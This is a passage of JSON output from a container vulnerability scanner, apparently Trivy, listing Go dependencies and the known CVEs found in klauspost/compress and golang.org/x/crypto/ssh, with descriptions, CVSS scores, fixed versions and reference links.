"AnalyzedBy": "gobinary" }, { "ID": "sigs.k8s.io/randfill@v1.0.0", "Name": "sigs.k8s.io/randfill", "Identifier": { "PURL": "pkg:golang/sigs.k8s.io/randfill@v1.0.0", "UID": "65cea4895e323dbe" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-63209", "VendorIDs": [ "GHSA-259r-337f-4rfw" ], "PkgID": "github.com/klauspost/compress@v1.18.4", "PkgName": "github.com/klauspost/compress", "PkgIdentifier": { "PURL": "pkg:golang/github.com/klauspost/compress@v1.18.4", "UID": "46abd793ed810542" }, "InstalledVersion": "v1.18.4", "FixedVersion": "1.18.7", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63209", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:7f6989a0b685ae70effa9b5a9a6168efa3e7919c29a9a82e3c695a4562ea3741", "Title": "github.com/klauspost/compress: klauspost/compress: Denial of Service via integer overflow in dictionary processing", "Description": "compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63209", "https://github.com/klauspost/compress", "https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536", "https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa", "https://github.com/klauspost/compress/pull/1163", "https://github.com/klauspost/compress/releases/tag/v1.18.7", "https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw", "https://nvd.nist.gov/vuln/detail/CVE-2026-63209", "https://www.cve.org/CVERecord?id=CVE-2026-63209" ], "PublishedDate": "2026-09-29T15:17:27.13Z", "LastModifiedDate": "2026-09-30T19:57:08.043Z" }, { "VulnerabilityID": "CVE-2026-39828", "VendorIDs": [ "GO-2026-5014" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39828", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:17a90f5be996d25738b53a07d9fb97db5910034bdbd6126700483ac2e707f883", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Unauthorized command execution via discarded SSH permissions", "Description": "When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-281" ], "VendorSeverity": { "amazon": 2, "azure": 2, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:46903", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51038", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-39828", "https://bugzilla.redhat.com/show_bug.cgi?id=2480687", "https://go.dev/cl/781621", "https://go.dev/issue/79562", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-39828", "https://pkg.go.dev/vuln/GO-2026-5014", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39828.json", "https://www.cve.org/CVERecord?id=CVE-2026-39828" ], "PublishedDate": "2026-05-22T04:16:22.19Z", "LastModifiedDate": "2026-09-11T13:17:51.26Z" }, { "VulnerabilityID": "CVE-2026-39829", "VendorIDs": [ "GO-2026-5018" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39829", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:64435f0fe1d87313184950d529eea15104f721f37c42de56c7a0a62457383197", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted public key with excessive parameters", "Description": "The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.", "Severity": "HIGH", "CweIDs": [ "CWE-347", "CWE-1284" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:46903", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47949", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:48693", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:54432", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57365", "https://access.redhat.com/errata/RHSA-2026:57801", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60446", "https://access.redhat.com/errata/RHSA-2026:60454", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65964", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-39829", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480681", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/2480688", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2493620", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480681", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480688", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2493620", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-57231", "https://errata.almalinux.org/9/ALSA-2026-37123.html", "https://errata.rockylinux.org/RLSA-2026:37123", "https://go.dev/cl/781641", "https://go.dev/cl/781661", "https://go.dev/issue/79565", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39829.html", "https://linux.oracle.com/errata/ELSA-2026-37123.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39829", "https://pkg.go.dev/vuln/GO-2026-5018", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39829.json", "https://www.cve.org/CVERecord?id=CVE-2026-39829" ], "PublishedDate": "2026-05-22T04:16:22.31Z", "LastModifiedDate": "2026-09-16T13:17:52.28Z" }, { "VulnerabilityID": "CVE-2026-39830", "VendorIDs": [ "GO-2026-5017" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39830", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:6e6ea47acd90553b5af3d98a8b398719cae7497eb9f9f3089ee684cc0bf3722c", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via resource leak from unsolicited SSH responses", "Description": "A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.", "Severity": "HIGH", "CweIDs": [ "CWE-119", "CWE-772" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57801", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65964", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/errata/RHSA-2026:69961", "https://access.redhat.com/security/cve/CVE-2026-39830", "https://bugzilla.redhat.com/2480684", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2480684", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-69961.html", "https://errata.rockylinux.org/RLSA-2026:69961", "https://github.com/golang/crypto/commit/4e7a7384ecbc8d519f6f4c11b36fa9d761fc8946", "https://go.dev/cl/781640", "https://go.dev/cl/781664", "https://go.dev/issue/79564", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39830.html", "https://linux.oracle.com/errata/ELSA-2026-69961.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39830", "https://pkg.go.dev/vuln/GO-2026-5017", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39830.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-2", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-39830" ], "PublishedDate": "2026-05-22T04:16:22.44Z", "LastModifiedDate": "2026-09-16T13:17:53.697Z" }, { "VulnerabilityID": "CVE-2026-39831", "VendorIDs": [ "GO-2026-5019" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39831", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:d560d30e1fb539a127609f47e65912d09e4f530486ebf9bf04a002967b803bf1", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security key bypass due to missing user presence check", "Description": "The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a \"no-touch-required\" extension in Permissions.Extensions from PublicKeyCallback.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-39831", "https://github.com/golang/crypto/commit/b61cf853a89d82cad68da5e12a6beca2116f8456", "https://go.dev/cl/781662", "https://go.dev/issue/79566", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-39831", "https://pkg.go.dev/vuln/GO-2026-5019", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-39831" ], "PublishedDate": "2026-05-22T04:16:22.553Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-39832", "VendorIDs": [ "GHSA-f5wc-c3c7-36mc", "GO-2026-5006" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39832", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:7ac9fb195a51b97b5e8bff926e4840ca172d7be590048ca105f757cff852c178", "Title": "golang.org/x/crypto/ssh/agent: golang.org/x/crypto/ssh/agent: Security bypass due to improper handling of key restrictions", "Description": "When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.", "Severity": "HIGH", "CweIDs": [ "CWE-502", "CWE-281" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "V3Score": 8.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37410", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59579", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-39832", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://errata.almalinux.org/9/ALSA-2026-37410.html", "https://errata.rockylinux.org/RLSA-2026:37410", "https://github.com/golang/crypto/commit/e3d1254f1e7e60baa086142c46174bf6d8d0fe50", "https://go.dev/cl/778640", "https://go.dev/cl/778641", "https://go.dev/cl/778642", "https://go.dev/issue/79435", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39832.html", "https://linux.oracle.com/errata/ELSA-2026-37410.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39832", "https://pkg.go.dev/vuln/GO-2026-5006", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39832.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://www.cve.org/CVERecord?id=CVE-2026-39832" ], "PublishedDate": "2026-05-22T04:16:22.663Z", "LastModifiedDate": "2026-09-15T12:17:40.787Z" }, { "VulnerabilityID": "CVE-2026-39835", "VendorIDs": [ "GO-2026-5015" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39835", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:d34e6d6e58957602de35a7f7736119976eee7154a1699f3bcf1077aba02b5a6f", "Title": "golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: Denial of Service via crafted SSH certificate", "Description": "SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", 